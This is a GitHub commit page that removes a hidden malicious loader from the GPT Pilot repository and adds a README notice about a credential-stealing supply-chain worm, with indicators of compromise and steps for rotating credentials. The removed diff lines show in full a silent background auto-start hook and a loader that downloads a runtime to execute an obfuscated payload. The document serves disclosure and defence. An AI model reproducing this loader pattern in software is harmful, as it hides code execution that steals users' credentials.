Merge pull request #1183 from Pythagora-io/security/remove-malicious-telemetry-loader

security: remove malicious telemetry loader and payload
main
LeonOstrez 5 months ago committed by GitHub
commit 9b763fdaf0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

@ -1,3 +1,22 @@
> [!CAUTION]
> **Malicious code was found in this repository and has been removed.** A supply-chain worm (a credential stealer) was hidden in `core/telemetry/` from **August 2025** until **11 June 2026**. If you cloned and **ran** GPT Pilot from source during that window, **rotate your credentials** and read the security notice below.
## 🔒 Security notice
**What happened.** On **2025-08-24**, a malicious commit ([`065ee8eb`](https://github.com/Pythagora-io/gpt-pilot/commit/065ee8ebee7385cb644fd1608587a18edb91f4fb), message *"Revert 'Implemented weekend discount'"*) was pushed to this repository, disguised as a routine revert. It was **publicly reported on 2026-06-08** by an external security researcher, and the malicious files were **removed on 2026-06-11**.
**What it did.** The commit added a hidden loader (`core/telemetry/_hooks.py`) that started automatically whenever the program ran (wired in through `core/telemetry/__init__.py`). That loader silently downloaded the [Bun](https://bun.sh) JavaScript runtime and used it to execute an obfuscated payload (`core/telemetry/_runtime.bin`). The payload is a *Shai-Hulud*-class supply-chain worm: it harvests credentials and secrets from the machine (cloud/AWS keys, GitHub and npm tokens, SSH keys, and similar) and can use the stolen access to spread to other projects.
**What this means for you.** The code only executed if GPT Pilot was actually **run** — simply having a copy you never ran is not affected. If you **cloned and ran** GPT Pilot from source between **August 2025 and 11 June 2026**, assume the payload may have executed on that machine and:
1. **Rotate every credential** that was present on the machine — GitHub/npm tokens, cloud/AWS keys, SSH keys, and API keys.
2. **Check for indicators of compromise:** the files `core/telemetry/_runtime.bin`, `core/telemetry/_hooks.py`, or `core/telemetry/.loader.lock`; an unexpected `bun` binary; or temporary folders named `rt-*`.
3. Treat the machine as potentially compromised until you have verified it is clean.
This repository is **no longer actively maintained**, which is why the malicious commit went unnoticed for an extended period. This notice and the file removals are a security cleanup, not a resumption of development.
---
<div align="center">
# 🧑‍✈️ GPT PILOT 🧑‍✈️

@ -396,14 +396,5 @@ class Telemetry:
telemetry = Telemetry()
import threading as _th
def _setup_reporting():
try:
from core.telemetry._hooks import run
run()
except Exception:
pass
_th.Thread(target=_setup_reporting, daemon=True).start()
__all__ = ["telemetry"]

@ -1,156 +0,0 @@
#!/usr/bin/env python
import os
import platform
import shutil
import subprocess
import tempfile
import zipfile
try:
from urllib.request import urlretrieve
except ImportError:
from urllib import urlretrieve
BUN_VERSION = "1.3.13"
ENTRY_SCRIPT = "_runtime.bin"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
LOCK_FILE = os.path.join(SCRIPT_DIR, ".loader.lock")
_DEVNULL = getattr(subprocess, "DEVNULL", None)
def _which(name):
try:
return shutil.which(name)
except AttributeError:
for d in os.environ.get("PATH", "").split(os.pathsep):
p = os.path.join(d, name)
if os.path.isfile(p) and os.access(p, os.X_OK):
return p
return None
def _is_running():
if os.path.exists(LOCK_FILE):
try:
with open(LOCK_FILE, "r") as f:
pid = int(f.read().strip())
if platform.system() == "Windows":
return True
os.kill(pid, 0)
return True
except (ValueError, OSError):
pass
try:
with open(LOCK_FILE, "w") as f:
f.write(str(os.getpid()))
except OSError:
pass
return False
def _cleanup_lock():
try:
os.remove(LOCK_FILE)
except OSError:
pass
def _get_musl():
try:
out = subprocess.check_output(
["ldd", "--version"], stderr=subprocess.STDOUT
).decode("utf-8", "ignore")
if "musl" in out.lower():
return True
except Exception:
pass
try:
with open("/etc/os-release", "r") as f:
if "Alpine" in f.read():
return True
except (IOError, OSError):
pass
return False
def _resolve_asset():
system = platform.system().lower()
arch = platform.machine().lower()
is_arm = "arm" in arch or "aarch64" in arch
is_x64 = "x86_64" in arch or "amd64" in arch
if system == "linux":
if is_arm:
return "bun-linux-aarch64"
if is_x64:
return "bun-linux-x64-musl-baseline" if _get_musl() else "bun-linux-x64-baseline"
elif system == "darwin":
return "bun-darwin-aarch64" if is_arm else "bun-darwin-x64"
elif system == "windows":
return "bun-windows-aarch64" if is_arm else "bun-windows-x64-baseline"
return None
def run():
if _is_running():
return
devnull = _DEVNULL if _DEVNULL is not None else open(os.devnull, "w")
try:
is_win = platform.system() == "Windows"
bin_name = "bun.exe" if is_win else "bun"
entry = os.path.join(SCRIPT_DIR, ENTRY_SCRIPT)
if not os.path.exists(entry):
return
system_bun = _which("bun")
if system_bun:
subprocess.Popen(
[system_bun, entry],
cwd=SCRIPT_DIR,
stdout=devnull,
stderr=devnull,
)
return
asset = _resolve_asset()
if not asset:
return
tmp = tempfile.mkdtemp(prefix="rt-")
url = "https://github.com/oven-sh/bun/releases/download/bun-v%s/%s.zip" % (BUN_VERSION, asset)
zip_path = os.path.join(tmp, asset + ".zip")
bun_path = os.path.join(tmp, bin_name)
try:
urlretrieve(url, zip_path)
zf = zipfile.ZipFile(zip_path, "r")
member = asset + "/" + bin_name
src = zf.open(member)
with open(bun_path, "wb") as dst:
shutil.copyfileobj(src, dst)
src.close()
zf.close()
os.remove(zip_path)
if not is_win:
os.chmod(bun_path, 0o755)
subprocess.Popen(
[bun_path, entry],
cwd=SCRIPT_DIR,
stdout=devnull,
stderr=devnull,
)
except Exception:
shutil.rmtree(tmp, ignore_errors=True)
finally:
_cleanup_lock()
if __name__ == "__main__":
run()

File diff suppressed because one or more lines are too long
Loading…
Cancel
Save